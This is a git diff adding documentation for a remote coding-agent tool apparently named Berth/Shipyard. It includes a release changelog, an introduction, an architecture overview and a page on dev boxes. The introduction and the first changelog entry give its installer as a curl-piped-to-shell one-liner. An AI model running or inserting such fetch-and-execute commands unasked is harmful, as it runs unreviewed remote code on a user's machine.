+ both worktrees side by side in mirrored lanes, Chat, Diff, Preview and
+ Terminal (⌥1–4), with each side's agent state and diff numbers, a hinge
+ that swaps them (⌘⌥S), and Sync: the same path on both dev servers with
+ each page's load time, the same file in both diffs, the same turn in both
+ chats. A side that is archived or offline leaves the other to fill the
+ tab, saying why. Tabs, group labels and panes are reachable from the
+ keyboard and named with their worktree for screen readers, a colour is
+ always shown with a name, and each theme sets worktree colours so they
+ read on it. [Labs](/docs/guides/labs#worktrees-side-by-side).
+
+- **Copy diagnostics.** Settings → About → Help, and an error's Details,
+ copy one short report to paste into a chat: the app's and the agent's
+ versions, `berth doctor`'s checks, this Mac's box (its tools, tmux, agent
+ CLIs and `PATH`), each box's version, capabilities and last error, the
+ terminal renderer, theme, Labs, and the last errors and toasts with their
+ codes. Tokens, `op://` references, emails and your username are taken
+ out. `berth doctor --report` prints the same text.
+- **A smoke suite for the app.** `pnpm test:e2e` (in `app/`) runs the
+ production build in Chromium on the mock fixtures, and CI runs it on every
+ change; `pnpm smoke:live` runs it against your own agent, read only.
+
+## v0.3.6
+
+October 5, 2026.
+
+Worktree pages open on a Mac's own box, in your browser and in Berth's.
+
+
+- **Worktree URLs work on a Mac's own box, and in the Browser tab.** On
+ this Mac's box, `http://WORKTREE.LOCATION.BOX.localhost:1377/` said "not
+ found" for a dev server started in the worktree (`npm start` on 3000), since
+ the box only placed a server by its port, and terminals never got `PORT`.
+ The box now reads each server's folder on macOS too, as Linux boxes always
+ did, and a worktree's terminals and agents get `PORT=$BERTH_PORT` unless
+ the project sets it. A URL with nothing running yet says so and how to
+ start it, and a server started a moment ago opens at once. Separately, the
+ release app's browser panes stayed blank on every `http://…localhost` page:
+ macOS App Transport Security refused plain http in the bundled app (never
+ in `pnpm tauri dev`); Berth.app now allows it for localhost names only.
+ When terminals fall back to xterm.js, the app says why once, with Copy
+ details, in Settings → Terminal, and in `berth doctor`. Boxes and the app
+ need the update. [Project config](/docs/guides/project-config#services).
+
+## v0.3.5
+
+October 5, 2026.
+
+Agents start however long the prompt, and on a fresh Mac.
+
+
+- **Long prompts start.** A task or session whose prompt was over about
+ 16 KB failed with "tmux new-session: ." and its worktree was removed: the
+ command went on tmux's command line, which tmux refuses. Each session's
+ command now lives in a file only you can read, which its login shell
+ runs, so a prompt can be up to a 2 MB request (the agent itself takes its
+ first one as one argument: up to 128 KB on Linux, about 1 MB on a Mac,
+ and a longer one is refused up front, saying so). A long message sent to
+ a running agent goes through tmux's stdin, whole. Every tmux failure now
+ says why (its exit status, or a timeout), never an empty reason. Boxes
+ need an upgrade. [Sessions](/docs/concepts/sessions-and-agents#sessions).
+- **This Mac finds Homebrew's tmux.** The Mac's own box runs under launchd,
+ whose bare PATH hid `/opt/homebrew/bin`, so no agent could start there.
+ berthd now looks for tmux in Homebrew's folders too, and its launchd
+ plist carries your login shell's PATH (with Homebrew's and `~/.local/bin`);
+ the agent rewrites an older plist on its next start. `berthd doctor` says
+ how to install tmux on that system.
+- **Missing tmux or agent CLI gets a card, not a failure.** Starting an
+ agent on a box without tmux or the agent's CLI shows how to install it:
+ onboarding and ⌘N show the command (`brew install tmux` on a Mac, with
+ Homebrew first if needed; the package manager on Linux), **Copy and open
+ Terminal** on this Mac, and **Check again**. Nothing is created until
+ it's there.
+
+## v0.3.4
+
+October 5, 2026.
+
+Two worktrees side by side, nineteen themes, a chat that keeps every
+turn, and browsers that show you the page.
+
+
+- **Fix a blocked agent's browser from Berth.** On Ubuntu 24.04, whose
+ sandbox setting stops Chromium starting, the browser pane marks the
+ agent's browser **blocked** and Settings → Boxes shows why, with two ways
+ out: **Fix it** opens a terminal on the box with the `sudo sysctl` command
+ typed for you to run (Berth never sees your password) and clears once the
+ box allows it, or **Run without Chromium's sandbox**, a per-box setting
+ that needs no restart. An agent that hits it is told to ask you, and
+ `berthd doctor` says the same. Boxes need an upgrade.
+ [Agent browser](/docs/guides/agent-browser#when-ubuntu-blocks-it).
+- **The browser tab is your browser.** A browser pane always shows the
+ worktree's page in a real browser on your laptop, through its proxy; the
+ agent's browser on the box shows only while an agent drives it, behind a
+ clearly marked **Agent's view · live**, and now shows the page at once
+ rather than after its next repaint (most still pages never drew). URLs
+ the box writes with its own name (`$BERTH_URL`, `devbox` where you paired
+ it as `devl`) open too, a redirect to another port on the box's
+ `localhost` goes to that port, and a server macOS can't name counts as
+ the worktree's dev server again. Boxes and the laptop agent need an
+ upgrade. [Agent browser](/docs/guides/agent-browser#watching-it).
+- **The chat keeps every turn.** A prompt with something pasted in it
+ (Claude Code 2.1 writes those with a new closing tag) was left out of the
+ chat entirely; it now shows as typed. A chat also lost or jumbled turns
+ when the box read the conversation afresh (after a box upgrade, or once
+ no one had looked at it for ten minutes) or a long chat let its oldest
+ live turns go while older ones were loaded: items are now named by where
+ they are in the agent's record, so the chat keeps what it showed, reads
+ what it missed in between, and turns read back after being hidden come
+ back on their own. `/compact` reads as one divider. Boxes need an upgrade.
+- **Worktrees side by side (Labs).** Two or more worktrees share one tab
+ strip as tab groups: ⌥-click one in the sidebar, drag it onto the strip,
+ or choose "Add to tabs beside…". Each group has its name and colour;
+ click it to fold it, right-click to colour or close it (its agents keep
+ running). ⌃⇧⇥ and ⌃⌥⇥ step between groups, ⌘1–9 count across the strip
+ and ⌘⇧W closes the group in front (with one, the window). A tab can show
+ panes of two worktrees too: **⌘⌥D** picks a worktree, then one of its
+ agents, its page, its diff or a new terminal, and puts it beside the
+ focused pane; dragging a worktree onto a pane's edge splits its agent in.
+ Run, ⌘T, ⌘⇧B, the + menu, the palette and plugins act in the focused
+ pane's worktree. With one worktree open nothing looks different.
+ [More](/docs/guides/labs#worktrees-side-by-side).
+- **Scrolling keeps up.** The wheel over a terminal now reaches the agent
+ in batches, one per redraw, rather than one report per wheel event. A
+ trackpad flick through a long Claude Code thread queued dozens of
+ full-screen redraws behind each other, and over a slow connection to the
+ box the view kept scrolling for seconds after you stopped; now it stops
+ within a redraw, the same distance down. Drawing a whole new screen in
+ the terminal also takes half the time it did.
+- **Nineteen more themes.** Ports of popular VS Code themes: Dracula, One
+ Dark Pro and One Light, Catppuccin Mocha and Latte, Tokyo Night, Nord,
+ GitHub Dark, Dark Dimmed and Light, Gruvbox, Solarized, Rosé Pine and
+ Dawn, Night Owl and Night Owl Light, and Kanagawa Wave, each from its own
+ palette for the app, the terminal and code, nudged only where text would
+ be too faint to read. Settings groups them Berth, Dark and Light, with a
+ search, and **Match system** can use any light and dark pair.
+ [Themes](/docs/guides/themes) lists them and how to make your own.
+- **Code in replies is coloured.** A code block in an agent's reply is now
+ syntax-highlighted like the app's diffs, in the theme's own colours, by
+ its fence's language (or a guess). It colours in after it draws, off the
+ main thread, without moving; Copy still takes the plain code.
+- **Smaller fixes.** A long reply scrolls inside the reply box instead of
+ pushing the chat away, and text size (⌘+ / ⌘−) now reaches the chat
+ itself, its code and its edits, not just the UI around it.
+
+## v0.3.3
+
+October 5, 2026.
+
+The chat takes on the rest of what a terminal does: Claude's questions,
+its artifacts, its edits as diffs, and dev servers in tabs of their own.
+
+
+- **Archiving follows through.** Archive or remove a worktree from the
+ sidebar, zen, the launcher or the Worktrees table and it shows as
+ "Archiving…" (dimmed, nothing to open) while the repo's archive script
+ runs, then leaves the sidebar, the table and its open tabs as soon as the
+ box reports it gone; its sessions stop with it. If the script fails, the
+ worktree comes back with the script's output under Details. The app used
+ to say "Archived" at once and keep showing it. Boxes need an upgrade for
+ the session stop and the script's output.
+- **A worktree left locked archives.** A `git worktree add` that was cut off
+ leaves git's own "initializing" lock, and git then refuses to remove the
+ worktree. The box now unlocks and removes those, cleans up after an add
+ that fails, and still leaves alone a worktree a person locked, saying how
+ to unlock it. Boxes need an upgrade for it.
+- **Details opens.** "Details" on an error toast did nothing when clicked.
+ It now opens the full output (git's, a script's) in a dialog with Copy,
+ everywhere it appears.
+- **Artifacts in the chat.** A page Claude publishes on claude.ai with its
+ Artifact tool shows as a card where it happened, with Open, and a
+ "3 artifacts" chip at the right of the reply box's controls lists them
+ all, newest first: open one, copy its link, or show it in the chat. A
+ page published again is marked updated. Boxes need an upgrade for it.
+- **Claude's questions, answered in the chat.** When Claude asks several
+ questions at once (AskUserQuestion), the chat used to answer only the
+ first and then hang. Now it shows the whole form: each question with its
+ options, one pick or several, room for your own words, back and next, and
+ a review with Submit. The box fills in Claude's own form key by key,
+ checking its screen as it goes; if anything doesn't match, it stops and
+ Claude's screen opens under the chat to finish there. Answers stay in the
+ conversation as what you picked. Boxes need an upgrade for it.
+- **Services in a terminal tab.** A service with `"terminal": true` (in a
+ kit, `.berth/config.json` or a box's own config, with an optional
+ `"title"`) runs in a terminal of its own, which opens as a tab named after
+ it when its worktree does, so a dev server's output is right there.
+ Ctrl-C in the tab stops it, and Start, in the tab or anywhere else, runs it
+ again in the same tab. Closing the tab only hides it; "Running in" and the
+ Run menu have Show terminal. Boxes need an upgrade for it.
+- **Drag tabs into splits.** Drag a tab from the top bar over a pane and
+ drop it on an edge to split that pane right, left, up or down, with an
+ outline showing where it lands; drop it between tabs to reorder. A pane
+ drags by its header beside another pane, onto another's middle to swap
+ them, or onto the strip to become a tab of its own. Nothing restarts:
+ terminals and agents keep their sessions. A tab's menu has Split right
+ and Split down, and a pane's ⋯ menu has Move to a new tab.
+- **Edits in the chat look like the Diff panel.** An agent's edit opens
+ highlighted, in the same renderer as the Diff panel, numbered by the
+ file's own lines; Write and MultiEdit too, and the file's uncommitted
+ diff beside it still takes comments. Unified in the chat's column, split
+ where the pane has room (it remembers), and a long edit folds to Show
+ all. The renderer loads the first time you open an edit, never before.
+ Boxes need an upgrade for the line numbers; older ones count from 1.
+- **Chat backgrounds and width.** Settings → Appearance → Chat background
+ puts a quiet background behind conversations, in zen too, drawn in your
+ theme's colours: patterns (chart contours, a dot grid, a nautical grid,
+ soft waves), dithered gradients (Dawn, Dusk, Deep sea) and harbour
+ scenes. A picture of your own, picked, dropped or generated with Codex on
+ your Mac (it shows the exact command and runs only when you press
+ Generate), lands dithered in the theme's ink. Strength, Dither and Tone
+ shape it; Advanced can show a picture as it is. Chat → Width sets how wide
+ conversations run, from Narrow to Full. A pane's ⋯ menu has Chat
+ background….
+- **One corner radius.** Cards in the chat, the task list, notices and the
+ agent's own screen take the reply box's radius; bubbles keep their own.
+- **Zoom with ⌘+ and ⌘−.** View → Zoom in (⌘+ or ⌘=), Zoom out (⌘−) and
+ Actual size (⌘0) make the app's text bigger or smaller, from 11 to 20px,
+ with a moment's readout of the size; it's kept, and Settings →
+ Appearance → Text size shows it. With a terminal focused they size the
+ terminal's font instead, and ⌘0 puts it back to 13px.
+
+## v0.3.2
+
+October 5, 2026.
+
+- **Built-in plugins on a fresh install.** The release's content policy
+ kept the app from reading its own list of built-in plugins, so a new
+ install had none: Diff, Changes, Pull request, Notes and the rest. Dev
+ builds skip that policy; CI now checks it.
+- **New task with a line break** (⌘N) starts its agent. The box couldn't
+ read back a session whose prompt had a line break, so it removed the
+ worktree it had just made and said "It's gone".
+- **Pasted screenshots upload fast.** A pasted image over 1 MB or 2000 px is
+ shrunk first (a 4 MB screenshot goes up as about 30 KB), files go up as
+ raw bytes rather than base64, and the chip shows progress, its size, and
+ Retry if it fails. Chips sit inside the composer.
+- **Replies with a paste show where they were sent.** Claude Code records a
+ paste wrapped in `` tags; the chat dropped such a reply,
+ and it showed below the answer instead. Its tags no longer show either.
+- **A reply sent while the agent works** says it hasn't read it yet:
+ "Sent · Claude reads it at its next step".
+- **Diff and Pull request follow the branch** when the agent switches,
+ commits or rebases mid-turn.
+- **Live text** read off the agent's screen looks like the reply, not a
+ quote.
+
+## v0.3.1
+
+October 5, 2026.
+
+- **Labs is on by default**: the harbour home, agents as conversations,
+ and zen. Settings → Labs turns it off, and that choice is kept.
+- **Claude Code's idle prompt** no longer reads as one of its own screens,
+ which opened the live terminal over an empty chat (Claude Code 2.1 draws
+ a no-break space after `❯`).
+- **A reply in a long chat** no longer says the agent "hasn't taken this
+ yet" or shows twice.
+- **Edits that only add lines** don't show a stray "−".
+
+## v0.3.0
+
+October 4, 2026.
+
+The chat grows up: it stays in step with the agent's terminal, takes
+everything the terminal takes, and stays fast on long conversations.
+
+- **One chat per agent, in step with its terminal.** Several agents in one
+ folder keep separate chats; a new agent never shows another's. A message
+ sent mid-turn shows before its reply, the running step and the agent's
+ own status ("Running pnpm test · 18s", "Seasoning… · 9m") show live, and
+ its words show from the screen before the transcript has them.
+- **Replies as Markdown.** Headings, tables and code render as the
+ terminal shows them, with less noise: the steps between replies fold.
+ Text selects and copies; Copy takes the Markdown.
+- **Open a tool call** to see what the terminal shows: the full command and
+ its output, an edit's exact change
+ (`GET /v1/sessions/{name}/transcript/tool/{id}`).
+- **Everything the terminal takes.** `/` lists the agent's built-in and
+ custom commands, skills and plugins; `@` files, `!` shell. Screens of
+ the agent's own, such as `/model`'s picker, open inline and fold away.
+- **Chat controls.** Stop, the permission mode and model chips, the agent's
+ task list, context meter, background shells, and cards for API errors,
+ limits and an agent that exited mid-work.
+- **History and scale.** Older turns load as you scroll up, helpers'
+ (subagents') own chats open from Crew, ↑/↓ recalls prompts, ⌘F searches
+ the chat, and Fork and Rewind start over from any prompt. 5,000 items
+ paint in about 0.3 s and scroll at 60 fps.
+- **Paste or drop images and files** for an agent on a remote box, in the
+ chat or its terminal; they upload to the worktree's `.berth/attachments`.
+- **What's running in a worktree** sits under the composer, with names and
+ Open in tab, and plugins can add a section with `addWorktreeSection`.
+- **Diff panel.** A worktree's whole branch diff, its uncommitted changes,
+ or both, drawn with [`@pierre/diffs`](https://diffs.com).
+- **Pull request picks.** Pick failing checks, reviews and comments on a
+ PR and send them to the worktree's agent, or copy them.
+- **Closing a tab stops its agent**, with a moment to undo, and a new tab is
+ always a new session.
+- **Zen on ⌘.** from the menu bar, rename and archive from zen, and the wheel
+ scrolls a full-screen agent's terminal instead of cycling its prompts.
+
+- **What happens to your message.** A reply sent while the agent works
+ shows as queued in the conversation, with **Send now** and **Cancel**, and
+ the reply box says whether Enter sends or queues. The box lists, cancels
+ and sends held prompts (`GET`/`DELETE /v1/sessions/{name}/queue`).
+- **Approvals from Claude Code's hooks.** A permission reads "Claude wants
+ to run `pnpm test`" with Claude's reason, from its `PermissionRequest`
+ hook rather than the screen, with Allow, Always allow and Deny matched to
+ its menu. The request stays in the box's private ledger, never in events.
+- **See the work, comment on it.** An edit in the conversation opens to its
+ diff (`GET /v1/sessions/{name}/diff`), and lines take comments there and
+ in Review, sent to the agent as one short prompt.
+
+## v0.2.0
+
+October 4, 2026.
+
+Orchestration rebuilt on the box: it keeps going while your laptop sleeps,
+survives berthd restarts and upgrades, and costs your agents as few tokens
+as it can.
+
+- **Turns, not guesses.** Every prompt Berth sends gets a turn ID, and
+ waits, loops and flows wait on that turn, not on the clock or the folder.
+ Each session is tracked on its own, so a reviewer beside an agent no
+ longer ends the agent's wait. Hook events go through a numbered journal
+ (`GET /v1/events?since=`), are kept while berthd is down, and are never
+ dropped in a burst. Codex, Cursor, Gemini and OpenCode report their
+ state through their own hooks. See [sessions and agents](/docs/concepts/sessions-and-agents).
+- **Quieter "needs you".** Claude's idle reminder no longer counts as a
+ question, an approved permission clears "waiting", and nothing Berth sends
+ (broadcast, the queue, loops) types into an agent that is waiting on you.
+- **Durable runs.** Loops, reviews, hand-offs, broadcasts and flows run on
+ the box from a journal: they keep going while the laptop sleeps and
+ resume after berthd restarts, never sending an agent a prompt twice.
+ `berth run …`, `berth runs`, and `berth loop` as a run; gates you decide
+ from the app, the CLI or the phone; box-wide caps and per-run budgets.
+ See [runs](/docs/guides/runs).
+- **Try N ways.** Several agents, or models, try one task in their own
+ worktrees, on one box or several; a check verifies them, a headless judge
+ ranks them, and Review's Compare lets you pick one for a draft PR.
+- **Triggers v2.** Issue labels and assignees, signed webhooks, and an
+ Auto-fix this PR toggle; a GitHub item arriving while a flow runs waits
+ for it instead of being dropped, and comment text reaches an agent
+ labelled as untrusted, from the authors you allow. See
+ [automations](/docs/guides/automations).
+- **Handoff packets** and native fork or resume; **headless agents** in
+ tmux; **`berthd mcp`** for agents. The app's flows for every box are gone:
+ commit such a flow to the repository's `.berth/config.json` or its kit.
+- **A browser for your agents.** Each worktree's agent can open its own dev
+ server at the URL you see (`BERTH_URL`) in a headless Chromium on the box,
+ confined to that worktree's ports, and act on it in a few hundred tokens a
+ step. Watch it live, pick an element to send it, and see its screenshots
+ in Review. On Ubuntu 24.04, allow Chromium's sandbox or opt out with
+ `BERTH_BROWSER_NO_SANDBOX=1`. See [agent browser](/docs/guides/agent-browser).
+- **The agent's conversation**, read from Claude Code's or Codex's own
+ transcript (`GET /v1/sessions/{name}/transcript`), for a calmer view of
+ what an agent is doing. Tool output and thinking are never sent. On a box
+ with an older berthd, the view offers to update it in place.
+- **Pick a model and effort** for a new agent (`model` and `effort` on
+ tasks and attempts, passed to each agent's own flags), so attempts can
+ pit models against each other.
+- **Labs: a calmer Berth.** Behind a Labs switch in Settings: a harbour home
+ with one composer and your agents, a Conversation view beside each
+ agent's terminal, and zen (⌘.), which puts the sidebar away. See
+ [Labs](/docs/guides/labs).
+
+## v0.1.2
+
+October 3, 2026.
+
+- **Set up a box from your tailnet.** **Add a box** lists the machines on
+ this Mac's tailnet, with their OS, whether they are online and which are
+ boxes already, and **Set up** installs and pairs one over SSH. Tailscale
+ SSH needs no keys, a host key the tailnet vouches for is trusted, and
+ check-mode approval opens in your browser. **Sign in to another tailnet**
+ lists that tailnet's machines too. `berth discover --json` reports
+ Tailscale's state and each machine's Tailscale SSH and host keys. See
+ [add a box](/docs/getting-started/add-a-box#on-your-tailnet).
+- **A kit can live in a repository of its own.**
+ Kit links to GitHub, GitLab, Bitbucket and Codeberg work without
+ `https://` (`berth kit add github.com/me/kit`). See [kits](/docs/guides/kits).
+- **Add another computer** with a join link, and **use this Mac as a box**
+ without the CLI.
+
+## v0.1.1
+
+October 3, 2026.
+
+- **A signed Mac app.** `Berth-macos-universal.dmg`, one app for Apple
+ silicon and Intel, signed with a Developer ID and notarized. It carries the
+ `berth` CLI and the Linux daemons. See [install](/docs/getting-started/install#install-the-app).
+- **Automatic updates.** The app checks for a new release in the
+ background and shows **Restart to update** when one is ready; it never
+ restarts by itself.
+- **The `berth` command from the app.** **Settings → General → Command
+ line** links `~/.local/bin/berth` to the app's copy.
+- **Security fixes** from an audit; [the security model](/docs/concepts/security)
+ has the whole picture:
+ - A repository's committed `.berth/config.json` runs on a box only once
+ [trusted there](/docs/guides/project-config#trusting-a-repositorys-config),
+ for its exact content.
+ - Plugins you install never turn on by themselves, and ask for
+ [consent](/docs/guides/plugins#trust-and-consent) pinned to a hash of their
+ code.
+ - [Flow](/docs/guides/automations#how-values-are-filled-in) values reach
+ shell steps as `$BERTH_FLOW_*` environment variables, never as script
+ text; webhook values are encoded; secrets show as `[secret]`.
+ - Webhooks and phone notifications can't reach loopback, private or
+ metadata addresses unless `~/.berth/network.json` on the box allows them.
+ - Gates cover every route that changes something and see an origin the box
+ can vouch for; revoking a laptop closes its open streams; pairing is
+ limited per source address; clones and kit fetches refuse local and
+ command transports; kits apply only what you reviewed; project skill
+ installs refuse symbolic links.
+
+## v0.1.0
+
+October 3, 2026. The first release.
+
+- `berthd` for Linux and macOS boxes, and the `berth` CLI, for amd64 and
+ arm64, with `checksums.txt`.
+- One line installs berthd on a box and prints a pairing link:
+ `curl -fsSL https://berthd.app/install | sh`. It installs the hooks that
+ let Claude Code, Codex and Cursor report their state.
+- `berth add ssh` installs and pairs a box over SSH in one step.
+- The desktop app, built from source, with the laptop agent startable from
+ the app.
diff --git a/apps/shipyard/content/docs/(root)/index.mdx b/apps/shipyard/content/docs/(root)/index.mdx
new file mode 100644
index 000000000..277abd1c9
--- /dev/null
+++ b/apps/shipyard/content/docs/(root)/index.mdx
@@ -0,0 +1,79 @@
+---
+title: Introduction
+description: Run coding agents on your own dev boxes, and work with them as if they were on your laptop.
+---
+
+Shipyard connects a laptop to any number of development machines (a VPS, a
+cloud VM, a desktop under your desk) and gives each repository on them
+worktrees, terminals, agents, dev servers and automations. The agents run on
+the boxes, so closing the app, sleeping the laptop or losing Wi-Fi never
+stops them; the app is a view you can close and reopen at any time.
+
+
+
+```sh
+curl -fsSL https://berthd.app/install | sh
+```
+
+Run that on your box, as the user your agents will run as. It installs
+`berthd` with no root, starts it, installs the hooks that let agents report
+their state, and prints a link: paste it into **Add a box** in the desktop
+app, or into `berth pair` on your laptop.
+
+On your Mac, [download Shipyard](https://github.com/cosscom/shipyard/releases/latest/download/Berth-macos-universal.dmg),
+drag it to Applications and open it. It's signed and notarized, runs on
+Apple silicon and Intel, carries the `berth` CLI, and updates itself. Every
+step is in [install](/docs/getting-started/install).
+
+
+
+## Start here
+
+
+
+
+
+
+
+
+## What it does
+
+- **Workspaces per worktree.** Terminals, splits, and browser tabs onto each
+ worktree's dev server, at private URLs like
+ `http://checkout.shop.devl.localhost:1377/`.
+- **Agents you can see and steer.** Claude Code, Codex and others, with a
+ dashboard of who needs you, a review inbox for finished work, and
+ [orchestration](/docs/guides/orchestration) (prompt, wait, check, loop, hand off)
+ from the app, the CLI, or other agents.
+- **Projects set up the same everywhere.** Each worktree gets its own ports,
+ environment, services, hooks and flows, from the repository's
+ [`.berth/config.json`](/docs/guides/project-config), a shareable
+ [kit](/docs/guides/kits), or the box's own config.
+- **Automations.** [Flows](/docs/guides/automations) on events, schedules or GitHub
+ activity, running on the box; plus plain shell [hooks and gates](/docs/guides/hooks).
+- **Plugins.** [React plugins](/docs/guides/plugins) for the app, with built-ins
+ for git changes, pull requests, dev servers, box monitoring, activity and
+ notes.
+- **Boxes without the fuss.** Pinned mutual TLS, pairing by link, boxes on
+ other tailnets, self-upgrade over Shipyard's own connection, and a
+ [phone companion](/docs/guides/phone) served by each box.
+
+## The pieces
+
+| Piece | What it is |
+| --- | --- |
+| `berthd` | The daemon on each box: worktrees, sessions (tmux), services, hooks, flows, kits. |
+| `berth` | The laptop CLI and background agent: connections, private URLs, the app's API. |
+| `app/` | The desktop app (Tauri, React, coss ui). |
+| `plugins/` | Built-in plugins, written against `packages/plugin-sdk`. |
+
+Read [how Shipyard works](/docs/concepts/architecture) for the whole picture, or
+[the security model](/docs/concepts/security) before you pair a box you care
+about.
+
+
+ } title="Concepts" href="/docs/concepts/architecture" description="Boxes, projects, worktrees, sessions and the laptop agent." />
+ } title="Guides" href="/docs/guides/orchestration" description="Orchestration, automations, hooks, kits, secrets, the phone, plugins." />
+ } title="CLI reference" href="/docs/reference/cli" description="Every berth and berthd command." />
+ } title="Config reference" href="/docs/reference/config" description="Every field of .berth/config.json and kit.json." />
+
diff --git a/apps/shipyard/content/docs/(root)/meta.json b/apps/shipyard/content/docs/(root)/meta.json
new file mode 100644
index 000000000..6c16f8b79
--- /dev/null
+++ b/apps/shipyard/content/docs/(root)/meta.json
@@ -0,0 +1,4 @@
+{
+ "pages": ["index", "changelog"],
+ "title": "Overview"
+}
diff --git a/apps/shipyard/content/docs/concepts/architecture.mdx b/apps/shipyard/content/docs/concepts/architecture.mdx
new file mode 100644
index 000000000..88e06df29
--- /dev/null
+++ b/apps/shipyard/content/docs/concepts/architecture.mdx
@@ -0,0 +1,109 @@
+---
+title: How Shipyard works
+description: The box serves, the laptop connects, and the app is only a view.
+---
+
+Shipyard connects a laptop to remote development boxes (any VPS, on a tailnet or
+not) and makes the services, worktrees and agent sessions on them usable as
+if they were local. Nothing is public unless someone explicitly shares it.
+
+## Principles
+
+- **Private by default.** Services stay on the box. They are reachable only
+ through an authenticated connection from a paired laptop. berthd itself
+ listens on the box's tailnet address, never the internet, unless told to.
+- **The box serves, the laptop connects.** The box owns its services,
+ worktrees, sessions and public shares; the laptop holds connections and
+ local URLs. Nothing a teammate depends on runs only on someone's laptop.
+- **Few dependencies.** berthd is one static binary that needs only `git`
+ and `tmux` on the box; the app bundles everything else. No SSH agent, DNS
+ zone or `/etc/hosts` edit is needed, and SSH is used once at most, to
+ install.
+- **Survive the real world.** Laptops sleep, networks change, daemons
+ upgrade. Connections reconnect indefinitely, sessions outlive the daemon,
+ and state files are never silently emptied.
+
+## Components
+
+
+
+
+ - Desktop app
+ - `berth` CLI
+ - Agent hooks and skill
+
+
+
+ - Box health
+ - Forwards
+ - `*.localhost`
+ - Tailnets
+
+
+
+
+
+ - Locations
+ - Sessions
+ - Shares
+ - Events, hooks
+
+
+
+
+- **berthd** runs on each box as a systemd user service (launchd on macOS).
+ It holds the box's identity, the trust store of paired laptops, and the
+ box's locations, sessions, services, shares, hooks and flows. Tools on the
+ box reach it through a private Unix socket with the same API. See
+ [boxes](/docs/concepts/boxes).
+- **The Shipyard agent** (`berth agent`) runs on the laptop. It keeps a connection to every box,
+ runs forwards and the `*.localhost` proxy, relays every box's events, runs
+ laptop hooks, holds the offline prompt queue, and owns the embedded tailnet
+ nodes. The CLI and the app talk to it, so closing the app drops nothing.
+ See [the laptop agent](/docs/concepts/laptop-agent).
+- **The desktop app** is a Tauri shell around a React UI. It talks to the
+ laptop agent over a loopback HTTP and WebSocket API guarded by a token
+ ([the app's API](/docs/reference/app-api)): box APIs pass through the agent's
+ one connection per box, and terminals are bridged over WebSocket. The app
+ holds no connection and no state worth losing; it can crash or close at any
+ time.
+
+## Where things live
+
+| On the box | On the laptop |
+| --- | --- |
+| Repositories and worktrees | Connections to every box |
+| Sessions (tmux) and the agents in them | Private URLs, forwards and routes |
+| Services, units and public shares | The offline prompt queue |
+| Box hooks, flows and the resource guard | Laptop hooks, kits library, themes, plugins |
+| The phone companion | The app and its settings |
+
+The full list of files is in [files and environment](/docs/reference/files).
+
+## Events
+
+One event model on both sides; each event records the tool it came from:
+
+```json
+{ "type": "agent.waiting", "time": "…", "box": "devl", "origin": "claude",
+ "data": { "path": "/home/me/work/shop-checkout", "session_id": "…" } }
+```
+
+The laptop agent relays every online box's events with `box` set, so
+anything on the laptop (a hook, the app, a plugin, `berth events`) hears about
+every agent on every box. [Hooks](/docs/guides/hooks) run commands for matching
+events; `before:` hooks gate actions on the box and can refuse them.
+[Flows](/docs/guides/automations) run several steps on the box. Agent tool hooks
+forward only identifiers and paths, never prompts. The catalog is in
+[events and gates](/docs/reference/events).
+
+## Extending it
+
+- [Plugins](/docs/guides/plugins) extend the app: screens, worktree panels,
+ commands, status bar items, themes. They can carry hooks and kits.
+- [Kits](/docs/guides/kits) package how a project is set up, and travel as a link.
+- [Skills](/docs/guides/agent-integrations#skills) teach the agents on a box to use
+ Shipyard themselves.
+
+Next, read about [boxes](/docs/concepts/boxes), or
+[add one](/docs/getting-started/add-a-box) if you haven't yet.
diff --git a/apps/shipyard/content/docs/concepts/boxes.mdx b/apps/shipyard/content/docs/concepts/boxes.mdx
new file mode 100644
index 000000000..aab855a47
--- /dev/null
+++ b/apps/shipyard/content/docs/concepts/boxes.mdx
@@ -0,0 +1,125 @@
+---
+title: Boxes
+description: The machines your agents run on, and what berthd keeps on each.
+---
+
+A **box** is a machine that runs `berthd`, usually Linux (macOS works too):
+a VPS, a cloud VM, a desktop under your desk. It is where repositories live, where agents and dev
+servers run, and where automations fire. Boxes are always on, so work
+continues while your laptop is asleep or shut.
+
+A laptop can pair with any number of boxes, and a box can be paired with
+several laptops. Each box has a name on your laptop (`devl`, `gpu`,
+`homelab`), which is also part of its URLs: `http://3000.devl.localhost:1377/`.
+
+## What berthd keeps
+
+- **Locations**: named directories, usually git repositories, and their
+ worktrees. See [projects and worktrees](/docs/concepts/projects-and-worktrees).
+- **Sessions**: programs (usually agents) running in Shipyard's own tmux
+ server. See [sessions and agents](/docs/concepts/sessions-and-agents).
+- **Services**: each worktree's dev servers and workers, from the
+ repository's config, kept running by the service manager.
+- **Units**: any other long-lived program you want on the box.
+- **Shares**: public links to a port.
+- **Hooks, flows and the resource guard**: automation that runs on the box.
+- **The phone companion**, when you turn it on.
+
+berthd runs as a systemd user service, or a launchd agent on macOS.
+The [install script](/docs/getting-started/add-a-box#with-the-install-command)
+and [`berth add ssh`](/docs/getting-started/add-a-box#over-ssh) both set that up
+for you with `berthd install`. It survives restarts and upgrades
+without touching running sessions. Its state is in `~/.config/berth/box/`
+(`~/Library/Application Support/berth/box/` on macOS); files you write by
+hand (`hooks.json`, `flows.json`, `env.json`, `guard.json`) are in
+`~/.berth/`. See [files and environment](/docs/reference/files).
+
+## Online, offline, untrusted
+
+The laptop agent keeps one connection per box and reports each as
+`connecting`, `online`, `offline` or `untrusted` (the box no longer trusts
+this laptop's key):
+
+```sh
+berth boxes
+berth ping devl
+```
+
+When a box is offline, its sessions keep running out there. The app shows
+what it last knew, and prompts for its agents can wait in the
+[offline queue](/docs/guides/offline-queue).
+
+## Units
+
+A unit is a long-lived program berthd runs on the box under the platform's
+service manager, so it survives reboots and restarts on failure. Its output
+goes to a log file berthd owns.
+
+```sh
+berth unit add devl/tunnel -- cloudflared tunnel run home
+berth units devl
+berth unit log devl/tunnel
+berth unit restart devl/tunnel
+```
+
+A worktree's services are units too, named after the worktree; manage them
+with `berth service` instead.
+
+## Public shares
+
+```sh
+berth share devl 3000 # Port 3000 is public at https://….trycloudflare.com
+berth shares devl
+berth unshare devl ID
+```
+
+The box runs a Cloudflare quick tunnel (it needs `cloudflared` installed), so
+the link keeps working while your laptop sleeps. A share ends when you stop
+it, or when berthd stops or upgrades.
+
+## Upgrades
+
+```sh
+berth upgrade devl # or --check to only report whether it runs a different build
+```
+
+The laptop uploads the berthd build that ships beside its `berth`, over
+Shipyard's own connection, with no SSH. The box checks that the new binary runs
+and reports the box's own fingerprint, swaps it in and re-executes in place,
+so sessions and services keep running. Public shares stop.
+
+The app notices on its own. When a box runs an older berthd than this Shipyard
